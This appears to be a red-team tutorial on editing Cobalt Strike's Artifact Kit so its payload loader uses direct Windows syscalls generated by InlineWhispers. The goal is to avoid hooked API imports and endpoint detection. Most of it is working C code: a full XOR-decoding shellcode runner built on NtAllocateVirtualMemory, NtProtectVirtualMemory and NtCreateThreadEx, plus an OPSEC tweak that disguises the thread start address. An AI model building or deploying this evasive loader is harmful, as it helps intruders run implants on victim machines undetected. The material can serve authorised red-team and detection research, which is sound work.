Integrating Direct Syscalls in Cobalt Strike's Artifact Kit
m3rcer
Resources/Credits
- Using Direct Syscalls from Beacon Object Files and MinGW
- Implementing Syscalls in the Artifact Kit
- Using Direct Syscalls in Cobalt Strike’s Artifact Kit - YT
- InlineWhispers
Methodology
Find function calls you would like to replace in a function module like spawn
:
- peclone:
./peclone dump ~/artifact/dist-template/artifact64.exe
- strings:
strings ~/artifact/dist-template/artifact64.exe | grep Virtual
Add the required functions in functions.txt
which uses syscalls.asm
(generated by Syswhispers1) and generates syscalls-asm.h
to incorporate functions specified: python3 InlineWhispers.py
- Copy over
syscalls-asm.h
andSyscalls.h
tosrc-common/
. - Replace
Windows.h
inSyscalls.h
towindows.h
- To use the generated
inline-assembly
using themingw
compiler, we change the dialect of masm to the intel syntax (refer bs’s blog).- Edit
build.sh
and the the dialect to the$options
variable:export options= -0s -masm=intel
- Edit
- Edit
patch.c
as an example template. Splitx64
andx86
code as they require seperate versions of inline-whispers. Add thesyscalls-asm.h
header to include the functions.#elif _M_X64 #include "syscalls-asm.h" void run(void * buffer) { ...... } void spawn(void * buffer, int length, char * key) { ...... } #else void run(void * buffer) { ...... } void spawn(void * buffer, int length, char * key) { ...... } #endif
Setup requirements to replace the functions calls. (refer bs’s blog)
- Start by grabbing the approprate function prototypes and incorporating it in the program.
[.............] #elif _M_X64 #include "syscalls-asm.h" EXTERN_C NTSTATUS NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID * BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect); EXTERN_C NTSTATUS NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID * BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); EXTERN_C NTSTATUS NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); void run(void * buffer) { void (*function)(); function = (void (*)())buffer; function(); } [................]
- Add variables as required/stated in the blog.
void spawn(void * buffer, int length, char * key) { DWORD old; HANDLE hProc = GetCurrentProcess(); LPVOID base_addr = NULL; [.........]
- Replace
ptr
in the function module to thebase_address
variable defined above to stay in convention with the variables in the blog.
Replace the function calls to their NT equivalents similar to the blog.
- Replace
VirtualAlloc()
with:NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- Replace
calc_len to length
- Replace
- Replace
VirtualProtect()
with:NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&calc_len, PAGE_EXECUTE_READ, &oldprotect);
- Replace
calc_len to length
- Replace
oldprotect
toold
- Replace
- Replace
CreateThread
withNtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);
- Declare the variable
HANDLE thandle = NULL
OPSEC:
NtCreateThreadEx
starts the thread usingbase_addr
which has a start address that is not backed by a module on disk. - Replace
NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);
withNtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, run, base_addr, FALSE, 0, 0, 0, NULL);
to make the start address therun
function and thebase_addr
is passed as an argument.
- Declare the variable
- Sample: (Replace
injector.c
andpatch.c
similarly to implement direct syscalls in all artifacts)#elif _M_X64 #include "syscalls-asm.h" EXTERN_C NTSTATUS NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID * BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect); EXTERN_C NTSTATUS NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID * BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); EXTERN_C NTSTATUS NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); void run(void * buffer) { void (*function)(); function = (void (*)())buffer; function(); } void spawn(void * buffer, int length, char * key) { DWORD old; HANDLE hProc = GetCurrentProcess(); LPVOID base_addr = NULL; HANDLE thandle = NULL; /* allocate the memory for our decoded payload */ /*base_addr = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);*/ NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); int x; for (x = 0; x < length; x++) { char temp = *((char *)buffer + x) ^ key[x % 4]; *((char *)base_addr + x) = temp; } /* propagate our key function pointers to our payload */ set_key_pointers(base_addr); /* change permissions to allow payload to run */ /*VirtualProtect(base_addr, length, PAGE_EXECUTE_READ, &old);*/ NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&length, PAGE_EXECUTE_READ, &old); /* spawn a thread with our data */ /*CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, base_addr, 0, NULL);*/ NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, run, base_addr, FALSE, 0, 0, 0, NULL); }
Validate the syscalls: VirtualAlloc()
, VirtualProtect()
and CreateThread
shouldn’t appear now.
- peclone:
./peclone dump ~/artifact/dist-template/artifact64.exe
- strings:
strings ~/artifact/dist-template/artifact64.exe | grep Virtual
NOTE:
VirtualProtect
andVirtualQuery
are called by C runtimes linked into the default mingw 64bit binaries hence these functions still appear in the import table.